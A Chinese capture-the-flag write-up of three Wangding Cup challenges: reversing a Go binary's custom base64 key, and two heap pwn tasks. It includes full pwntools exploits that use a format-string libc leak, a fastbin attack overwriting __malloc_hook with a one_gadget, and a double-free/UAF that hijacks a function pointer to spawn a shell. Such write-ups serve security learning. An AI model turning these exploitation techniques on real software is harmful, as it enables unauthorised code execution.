If you don’t go into the water, you can’t swim in your life
文中所用到的程序文件:bin file
有幸拿到了今年网鼎杯第三场的几个题目,这里复现一下,感觉比起青龙组简单不少=_=
what 这道题目是一道逆向题,挺简单的。go语言的程序,以前没见到过,顺带记录一下
go语言ida是有插件来对函数名做处理的,不过这道题目用不上插件,直接看mian_mian
函数。 函数不能直接查看伪代码,但是汇编也不复杂,大致逻辑还是能理清的。汇编代码中可以看到这么一段,根据后面的"please input the key: "
可以猜测aNrkkahzmrqzaqq
应该就是这里要求输入的key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:00000000004010FB sub rsp, 168h .text:0000000000401102 lea rbx, aCbdb2c89f6800e ; "cbdb2c89f6800e6c93e1c1e541e1a89758f45fd"... .text:0000000000401109 mov [rsp+168h+flag.str], rbx .text:000000000040110E mov [rsp+168h+flag.len], 60h .text:0000000000401117 lea rbx, aNrkkahzmrqzaqq ; "nRKKAHzMrQzaqQzKpPHClX" .text:000000000040111E mov [rsp+168h+pwd.str], rbx .text:0000000000401123 mov [rsp+168h+pwd.len], 16h .text:000000000040112C lea rbx, stru_4D5460 .text:0000000000401133 mov [rsp+168h+a.array], rbx .text:0000000000401137 call runtime_newobject .text:000000000040113C mov rbx, [rsp+168h+a.len] .text:0000000000401141 mov [rsp+168h+&input], rbx .text:0000000000401146 lea rbx, aPleaseInputThe ; "please input the key: " .text:000000000040114D mov [rsp+168h+var_88], rbx .text:0000000000401155 mov [rsp+168h+var_80], 16h
向后分析也可以发现它就是程序要求我们输入的key:
1 2 3 4 5 6 7 8 9 10 11 .text:0000000000401332 mov [rsp+168h+var_A8], rcx .text:000000000040133A mov [rsp+168h+a.array], rcx .text:000000000040133E mov [rsp+168h+var_A0], rax .text:0000000000401346 mov [rsp+168h+a.len], rax .text:000000000040134B mov rbp, [rsp+168h+pwd.str] .text:0000000000401350 mov [rsp+168h+a.cap], rbp .text:0000000000401355 mov [rsp+168h+_r2.array], rdx .text:000000000040135A call runtime_eqstring ; 比对字符串 .text:000000000040135F movzx ebx, byte ptr [rsp+168h+_r2.len] .text:0000000000401364 cmp bl, 0 .text:0000000000401367 jz loc_401569
看起来像是base64编码,不过直接尝试解码并不能成功。继续分析程序,发现程序在比对字符串之前调用了main_encode
:
1 2 3 4 5 6 .text:00000000004012C3 mov rsi, [rsp+168h+&input] ; src .text:00000000004012C8 mov rcx, [rsi] .text:00000000004012CB mov [rsp+168h+a.array], rcx .text:00000000004012CF mov rcx, [rsi+8] ; _r1 .text:00000000004012D3 mov [rsp+168h+a.len], rcx .text:00000000004012D8 call main_encode
跟到main_encode
函数中去,发现似乎是base64的魔改版即换了码表:
1 2 3 4 .text:0000000000401029 lea rbx, aXyzfghi2Jhi345 ; "XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789"... .text:0000000000401030 mov [rsp+70h+_r2.array], rbx .text:0000000000401034 mov [rsp+70h+_r2.len], 40h .text:000000000040103D call encoding_base64_NewEncoding
用这个码表尝试解码,成功得到key:
1 2 3 4 5 6 7 8 from base64 import b64decodetable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" t = 'XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01' table = str.maketrans(t, table) key_en = 'nRKKAHzMrQzaqQzKpPHClX==' key = key_en.translate(table) print(b64decode(key))
得到key之后直接运行即可得到flag:
1 2 3 4 nop@nop-pwn:~/Desktop$ ./what please input the key: What_is_go_a_A_H flag{e252890b-4f4d-4b85-88df-671dab1d78f3} nop@nop-pwn:~/Desktop$
yundun 程序保护基本全开:
1 2 3 4 5 6 7 nop@nop-pwn:~/Desktop$ checksec ./pwn [*] '/home/nop/Desktop/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序里面用了很多循环嵌套,分析的时候感觉很麻烦,不过直接运行程序就可以搞清楚大致功能。
程序实际上是一个简单的shell外壳,有用的只有三种指令:
vim
: 新建堆块,数字1对应0x60大小的堆块,数字2对应0x30大小的堆块
cat
: 打印堆块内容
rm
: 删除对应堆块
程序漏洞点-yundun
输入堆块内容时使用scanf获取输入(长度为70),存在堆溢出
1 2 3 4 5 6 7 8 format = (char *)malloc(0x30uLL); if ( format ) { printf("> ", 50LL); v3 = format; _isoc99_scanf("%70s", format); puts("Done!"); }
删除堆块时,free操作后指针未置零,存在UAF,但是每次申请堆块都是直接覆盖原先的指针,所以这里的UAF并没想到该怎么用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if ( v10 == 0x31 ) { if ( *(v5 - 16) ) { puts( "---------------skYunDun v0.0.0---------------\n" "[!] Detected an heap leak!\n" "[!] Rolling back...."); v5 = 0LL; format = 0LL; } else { free(v5); } } else if ( v10 == 0x32 ) { free(format); }
输出0x30大小的堆块内容时存在格式化字符串漏洞,这个漏洞点最开始的时候没注意到,卡了很久=_=!
1 2 3 LABEL_27: printf(format, 50LL); putchar(10);
利用思路-yundun 因为开启了PIE,所以即使程序本身提供了后门函数我们也并不能劫持程序流程到后门函数,所以只能先想办法泄露地址。因为程序在输出较小堆块内容时直接使用printf,所以可以利用格式化字符串漏洞泄露一个地址:
1 2 3 4 5 6 7 8 9 p.recvuntil('> ' ) p.sendline('vim 2\n%p\ncat 2\n' ) ''' [DEBUG] Received 0x38 bytes: '------skVim v0.0.0------\n' '> Done!\n' '> > 0x7ff99912c963\n' '> > ' '''
调试发现泄露的地址和_IO_2_1_stdin_
相关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x7ff99912c8e0 (_IO_2_1_stdin_) ◂— 0xfbad208b RCX 0x7ff998e5f260 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x1 RDI 0x0 RSI 0x7ff99912c963 (_IO_2_1_stdin_+131) ◂— 0x12e790000000000a /* '\n' */ <<==== 泄露的地址 R8 0x7ff99912e780 (_IO_stdfile_1_lock) ◂— 0x0 R9 0x7ff999338700 ◂— 0x7ff999338700 R10 0x7ff999338700 ◂— 0x7ff999338700 R11 0x246 R12 0xa R13 0x31 R14 0x7ff99912c964 (_IO_2_1_stdin_+132) ◂— 0x9912e79000000000 R15 0x7ff99912c8e0 (_IO_2_1_stdin_) ◂— 0xfbad208b RBP 0x7ff99912d620 (_IO_2_1_stdout_) ◂— 0xfbad2887 RSP 0x7ffdc5c21898 —▸ 0x7ff998de25e8 (_IO_file_underflow+328) ◂— cmp rax, 0 RIP 0x7ff998e5f260 (__read_nocancel+7) ◂— cmp rax, -0xfff
所以可以直接计算偏移得到libc:
1 2 3 4 5 6 7 _IO_2_1_stdin_ = int(p.recvuntil('\n' ,drop=True ),16 ) - 131 log.success("_IO_2_1_stdin_ = %#x" , _IO_2_1_stdin_) libc = LibcSearcher('_IO_2_1_stdin_' ,_IO_2_1_stdin_) libc_base = _IO_2_1_stdin_ - libc.dump('_IO_2_1_stdin_' ) malloc_hook = libc_base + libc.dump('__malloc_hook' ) log.success('libc_base = %#x, malloc_hook = %#x' %(libc_base, malloc_hook))
因为程序存在堆溢出漏洞,即我们利用0x30大小的堆溢出来覆写0x60大小的堆的FD指针完成Fastbin Attack
分配得到一个任意地址的chunk。 这里打算通过写入one gadget
到malloc_hook
完成攻击,所以我们需要分配一个堆块到malloc_hook
附近:
1 2 3 4 p.recvuntil('> ' ) p.sendline('vim 2' ) payload = p64(0 )*7 + p64(0x70 ) + p64(malloc_hook - 0x23 ) p.sendline(payload)
之后向堆块中写入one gadget
地址,完成攻击:
1 2 3 4 5 6 p.recvuntil('> > ' ) p.sendline('vim 1\nbbbb\n' ) p.recvuntil('> >' ) p.sendline('vim 1\n' ) payload = p64(0 )*2 + '\x00' *3 + p64(one_gadget + libc_base) p.sendline(payload)
完整exp-yundun 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *context(arch='amd64' ,os='linux' ,log_level='DEBUG' ) p = process('./pwn' ) p.recvuntil('> ' ) p.sendline('vim 2\n%p\ncat 2\n' ) p.recvuntil('> > ' ) _IO_2_1_stdin_ = int(p.recvuntil('\n' ,drop=True ),16 ) - 131 log.success('_IO_2_1_stdin_ = %#x' ,_IO_2_1_stdin_) p.recvuntil('> > ' ) p.sendline('vim 1\naaaa\n' ) libc = LibcSearcher('_IO_2_1_stdin_' ,_IO_2_1_stdin_) libc_base = _IO_2_1_stdin_ - libc.dump('_IO_2_1_stdin_' ) malloc_hook = libc_base + libc.dump('__malloc_hook' ) log.success('libc_base = %#x, malloc_hook = %#x' %(libc_base, malloc_hook)) one_gadget = 0xf02a4 p.recvuntil('> ' ) p.sendline('rm 1' ) p.recvuntil('> ' ) p.sendline('rm 2' ) p.recvuntil('> ' ) p.sendline('vim 2' ) payload = p64(0 )*7 + p64(0x70 ) + p64(malloc_hook - 0x23 ) p.sendline(payload) p.recvuntil('> > ' ) p.sendline('vim 1\nbbbb\n' ) p.recvuntil('> >' ) p.sendline('vim 1\n' ) payload = p64(0 )*2 + '\x00' *3 + p64(one_gadget + libc_base) p.sendline(payload) p.recvuntil('> > ' ) p.sendline('vim 1' ) p.interactive()
magic 程序只开启了canary和NX,并且存在后门函数:
1 2 3 4 5 int backdoor () { puts ("no!!!!why you can use black magic ?!" ); return system("/bin/sh" ); }
运行可以知道是一个菜单题:
learn magic: 申请堆块,程序会申请两个堆块
forget magic: 释放堆块
use magic: 打印堆块内容
leave: 退出程序
程序漏洞点-magic 分析可以得到一个结构体:
1 2 3 4 00000000 chunk1 struc ; (sizeof=0x10, mappedto_6) 00000000 content_ptr dq ? 00000008 func_ptr dq ? 00000010 chunk1 ends
程序每一次申请堆块都会申请两个,一是用户自定义大小的堆块,是这个对快对应的“索引”堆块,即存储结构体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ptr[v0] = malloc (0x10 uLL); if ( ptr[index] ) { *((_QWORD *)ptr[index] + 1 ) = puts_ptr; printf ("magic cost ?:" ); read (0 , (char *)&size + 4 , 8u LL); LODWORD(size ) = atoi((const char *)&size + 4 ); v1 = (void **)ptr[index]; *v1 = malloc ((signed int )size ); if ( ptr[index] ) { printf ("name :" , (char *)&size + 4 ); read (0 , *(void **)ptr[index], (unsigned int )size ); puts ("You successfully learned this magic" ); ++index; }
在释放堆块时并未对指针置零,存在UAF漏洞:
1 2 3 free (*(void **)ptr[v1]);free (ptr[v1]);puts ("You successfully forgot this magic" );
打印堆块内容时是使用结构体的func_ptr调用puts函数输出内容:
1 2 if ( ptr[v1] ) (*((void (__fastcall **)(void *, char *))ptr[v1] + 1 ))(ptr[v1], &buf);
利用思路-magic 存在后门函数,未开启PIE并且堆块中可以直接通过指针调用函数,思路就很明显了:
Fastbin double free 分配一个内容块到“索引块”
覆盖func_ptr到后门函数
UAF拿到shell
完整exp-magic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(arch='amd64' ,os='linux' ,log_level='DEBUG' ) sl = lambda data :p.sendline(str(data)) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() def learn (size, content) : ru(':' ) sl(1 ) ru('?' ) sl(size) ru(':' ) sl(content) def forget (index) : ru(':' ) sl(2 ) ru(':' ) sl(index) def use (index) : ru(':' ) sl(3 ) ru(':' ) sl(index) p = process('./pwn' ) learn(0x20 ,'A' *0x20 ) learn(0x20 ,'B' *0x20 ) forget(0 ) forget(1 ) forget(0 ) pause() learn(0x20 , 'C' *0x20 ) payload = flat([0 , 0x400A0D ]) learn(0x10 ,payload) use(0 ) itr()
You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.